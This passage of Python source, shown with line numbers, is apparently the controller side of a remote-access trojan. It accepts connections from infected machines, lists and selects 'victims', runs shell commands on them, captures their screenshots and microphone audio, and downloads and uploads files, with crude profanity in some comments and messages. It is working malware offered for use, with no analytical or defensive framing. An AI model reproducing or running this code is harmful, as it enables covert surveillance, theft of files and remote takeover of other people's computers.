% str(e)) 54 | # continue 55 | self.socket.close() 56 | sys.exit(0) 57 | 58 | def socket_create(self): 59 | try: 60 | self.socket = socket.socket() 61 | except socket.error as msg: 62 | print("Socket creation error: " + str(msg)) 63 | # TODO: Added exit 64 | sys.exit(1) 65 | self.socket.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1) 66 | return 67 | 68 | def socket_bind(self): 69 | """ Bind socket to port and wait for connection from client """ 70 | try: 71 | self.socket.bind((self.host, self.port)) 72 | self.socket.listen(5) 73 | except socket.error as e: 74 | print("Socket binding error: " + str(e)) 75 | time.sleep(5) 76 | self.socket_bind() 77 | return 78 | 79 | def accept_connections(self): 80 | """ Accept connections from multiple clients and save to list """ 81 | for c in self.all_connections: 82 | c.close() 83 | self.all_connections = [] 84 | self.all_addresses = [] 85 | while 1: 86 | try: 87 | conn, address = self.socket.accept() 88 | conn.setblocking(1) 89 | client_hostname = conn.recv(1024).decode("utf-8") 90 | address = address + (client_hostname,) 91 | except Exception as e: 92 | print('Error accepting connections: %s' % str(e)) 93 | # Loop indefinitely 94 | continue 95 | self.all_connections.append(conn) 96 | self.all_addresses.append(address) 97 | print('\nConnection has been established: {0} ({1})'.format(address[-1], address[0])) 98 | return 99 | 100 | def start_turtle(self): 101 | """ Interactive prompt for sending commands remotely """ 102 | while True: 103 | cmd = input('shell>') 104 | if cmd == 'list': 105 | self.list_connections() 106 | continue 107 | elif 'select' in cmd: 108 | target, conn = self.get_target(cmd) 109 | if conn is not None: 110 | self.send_target_commands(target, conn) 111 | elif cmd == 'shutdown': 112 | queue.task_done() 113 | queue.task_done() 114 | print('Server shutdown') 115 | break 116 | # self.quit_gracefully() 117 | elif cmd == 'help': 118 | self.print_help() 119 | elif cmd == '': 120 | pass 121 | else: 122 | print('Command not recognized') 123 | return 124 | 125 | def list_connections(self): 126 | """ List all connections """ 127 | results = '' 128 | for i, conn in enumerate(self.all_connections): 129 | try: 130 | conn.send(str.encode(' ')) 131 | conn.recv(20480) 132 | except: 133 | del self.all_connections[i] 134 | del self.all_addresses[i] 135 | continue 136 | results += str(i) + ' ' + str(self.all_addresses[i][0]) + ' ' + str( 137 | self.all_addresses[i][1]) + ' ' + str(self.all_addresses[i][2]) + '\n' 138 | print('----- Clients -----' + '\n' + results) 139 | return 140 | 141 | def get_target(self, cmd): 142 | """ Select target client 143 | :param cmd: 144 | """ 145 | target = cmd.split(' ')[-1] 146 | try: 147 | target = int(target) 148 | except: 149 | print('Client index should be an integer') 150 | return None, None 151 | try: 152 | conn = self.all_connections[target] 153 | except IndexError: 154 | print('Not a valid selection') 155 | return None, None 156 | print("You are now connected to " + str(self.all_addresses[target][2])) 157 | return target, conn 158 | 159 | def read_command_output(self, conn): 160 | """ Read message length and unpack it into an integer 161 | :param conn: 162 | """ 163 | raw_msglen = self.recvall(conn, 4) 164 | if not raw_msglen: 165 | return None 166 | msglen = struct.unpack('>I', raw_msglen)[0] 167 | # Read the message data 168 | return self.recvall(conn, msglen) 169 | 170 | def recvall(self, conn, n): 171 | """ Helper function to recv n bytes or return None if EOF is hit 172 | :param n: 173 | :param conn: 174 | """ 175 | # TODO: this can be a static method 176 | data = b'' 177 | while len(data) < n: 178 | packet = conn.recv(n - len(data)) 179 | if not packet: 180 | return None 181 | data += packet 182 | return data 183 | def discardAll(self, conn): 184 | """ Helper function specially made for download 185 | Enjoy Mother Fucker""" 186 | # TODO: this can be a static method 187 | chunk_bitch = conn.recv(len("File_NotFound")) 188 | if(chunk_bitch == "File_NotFound".encode()): 189 | print("fucking idiot both address are wrong") 190 | time.sleep(1) 191 | print(conn.send("ok".encode())) 192 | return 193 | else: 194 | while True: 195 | if (chunk_bitch[-4:] == "sent".encode()): 196 | break 197 | chunk_bitch = conn.recv(1024) 198 | conn.send("ok".encode()) 199 | print("ok") 200 | return 201 | 202 | def send_target_commands(self, target, conn): 203 | """ Connect with remote target client 204 | :param conn: 205 | :param target: 206 | """ 207 | conn.send(str.encode(" ")) 208 | cwd_bytes = self.read_command_output(conn) 209 | cwd = str(cwd_bytes, "utf-8") 210 | print(cwd, end="") 211 | while True: 212 | try: 213 | while(True): 214 | cmd = input() 215 | check = cmd.split(" ") 216 | if(check[0] == "screenshot"): 217 | if(len(check) == 2): 218 | conn.send(str.encode(cmd)) 219 | break 220 | elif(check[0] == "download" or check[0] == "upload" ): 221 | if(len(check) == 3): 222 | conn.send(str.encode(cmd)) 223 | break 224 | elif(check[0] == "record"): 225 | if(len(check)== 2 or len(check)== 3 ): 226 | conn.send(str.encode(cmd)) 227 | break 228 | else: 229 | if cmd == '' or cmd == 'clear': 230 | cmd = "cd" 231 | conn.send(str.encode(cmd)) 232 | break 233 | print("Invalid Syntaxt") 234 | conn.send(str.encode("cd")) 235 | if cmd == 'quit': 236 | conn.send(str.encode(cmd)) 237 | break 238 | if cmd.split(" ")[0] == "screenshot": 239 | f = open(str(cmd.split(" ")[1].rstrip())+".png",'wb') 240 | flag = None 241 | text = None 242 | print(conn.recv(len("sending"))) 243 | while True: 244 | print('recving') 245 | m = conn.recv(1024) 246 | text = m 247 | if m: 248 | while m: 249 | if(text[-4:] == 'sent'.encode()): 250 | text = text[:-4] 251 | break 252 | m = conn.recv(1024) 253 | text += m 254 | break 255 | else: 256 | break 257 | f.write(text) 258 | f.close() 259 | print("Screenshot saved") 260 | conn.send("ok".encode()) 261 | cmd_output = self.read_command_output(conn) 262 | client_response = str(cmd_output, "utf-8") 263 | print(client_response, end="") 264 | elif cmd.split(" ")[0] == "record": 265 | frames = [] 266 | if(conn.recv(9).decode("UTF_8")== "recording"): 267 | while(True): 268 | chunk = conn.recv(1024) 269 | if( chunk[-14:] == "done_recording".encode()): 270 | break 271 | frames.append(chunk) 272 | print("creating file") 273 | wf = wave.open(cmd.split(" ")[1]+".wav", 'wb') 274 | wf.setnchannels(2) 275 | wf.setsampwidth(2) 276 | wf.setframerate(44100) 277 | wf.writeframes(b''.join(frames)) 278 | wf.close() 279 | print("Audio Saved") 280 | conn.send("ok".encode()) 281 | cmd_output = self.read_command_output(conn) 282 | client_response = str(cmd_output, "utf-8") 283 | print(client_response, end="") 284 | elif cmd.split(" ")[0] == "download": 285 | try: 286 | f = open(str(cmd.split(" ")[2].rstrip()),'wb') 287 | flag = None 288 | text = None 289 | while True: 290 | m = conn.recv(len("File_NotFound")) 291 | if( m == "File_NotFound".encode()): 292 | print("File Not Found at victim side") 293 | f.close() 294 | name = str(cmd.split(" ")[2].rstrip()) 295 | os.remove(name) 296 | flag = True 297 | conn.send("ok".encode()) 298 | break 299 | text = m 300 | if m: 301 | while m: 302 | if(text[-4:] == 'sent'.encode()): 303 | text = text[:-4] 304 | break 305 | m = conn.recv(1024) 306 | text += m 307 | break 308 | else: 309 | break 310 | if flag: 311 | cmd_output = self.read_command_output(conn) 312 | client_response = str(cmd_output, "utf-8") 313 | print(client_response, end="") 314 | continue 315 | f.write(text) 316 | f.close() 317 | print("file recived") 318 | conn.send("ok".encode()) 319 | cmd_output = self.read_command_output(conn) 320 | client_response = str(cmd_output, "utf-8") 321 | print(client_response, end="") 322 | except Exception as e: 323 | print(e) 324 | print("Invaild Syntaxt 1st arg for which file you wanna download from victims machine and 2nd arg is which filename it would be save on your machine") 325 | self.discardAll(conn) 326 | cmd_output = self.read_command_output(conn) 327 | client_response = str(cmd_output, "utf-8") 328 | print(client_response, end="") 329 | elif cmd.split(" ")[0] == "upload": 330 | try: 331 | print(str(cmd.split(" ")[1].rstrip())) 332 | f = open (str(cmd.split(" ")[1].rstrip()), "rb") 333 | l = os.path.getsize(str(cmd.split(" ")[1].rstrip())) 334 | m = f.read(l) 335 | time.sleep(2) 336 | conn.sendall(m+"sent".encode()) 337 | f.close() 338 | print(conn.recv(2)) 339 | cmd_output = self.read_command_output(conn) 340 | client_response = str(cmd_output, "utf-8") 341 | print(client_response, end="") 342 | except Exception as e: 343 | time.sleep(2) 344 | print("File Not Found at attacker side") 345 | conn.send("File_NotFound".encode()) 346 | print(conn.recv(2)) 347 | print("Invaild Syntaxt 1st arg for which file you wanna upload and 2nd arg is which filename it would be save in victims machine") 348 | cmd_output = self.read_command_output(conn) 349 | client_response = str(cmd_output, "utf-8") 350 | print(client_response, end="") 351 | elif cmd == "cls": 352 | tmp = subprocess.call('clear',shell=True) 353 | else: 354 | cmd_output = self.read_command_output(conn) 355 | client_response = str(cmd_output, "utf-8") 356 | print(client_response, end="") 357 | except Exception as e: 358 | print("Connection was lost %s" %str(e)) 359 | break 360 | del self.all_connections[target] 361 | del self.all_addresses[target] 362 | return 363 | def create_workers(): 364 | """ Create worker threads (will die when main exits) """ 365 | server = MultiServer() 366 | server.register_signal_handler() 367 | for _ in range(NUMBER_OF_THREADS): 368 | t = threading.Thread(target=work, args=(server,)) 369 | t.daemon = True 370 | t.start() 371 | return 372 | 373 | 374 | def work(server): 375 | """ Do the next job in the queue (thread for handling connections, another for sending commands) 376 | :param server: 377 | """ 378 | while True: 379 | x = queue.get() 380 | if x == 1: 381 | server.socket_create() 382 | server.socket_bind() 383 | server.accept_connections() 384 | if x == 2: 385 | server.start_turtle() 386 | queue.task_done() 387 | return 388 | 389 | def create_jobs(): 390 | """ Each list item is a new job """ 391 | for x in JOB_NUMBER: 392 | queue.put(x) 393 | queue.join() 394 | return 395 | 396 | def main(): 397 | create_workers() 398 | create_jobs() 399 | 400 | 401 | if __name__ == '__main__': 402 | main() 403 | --------------------------------------------------------------------------------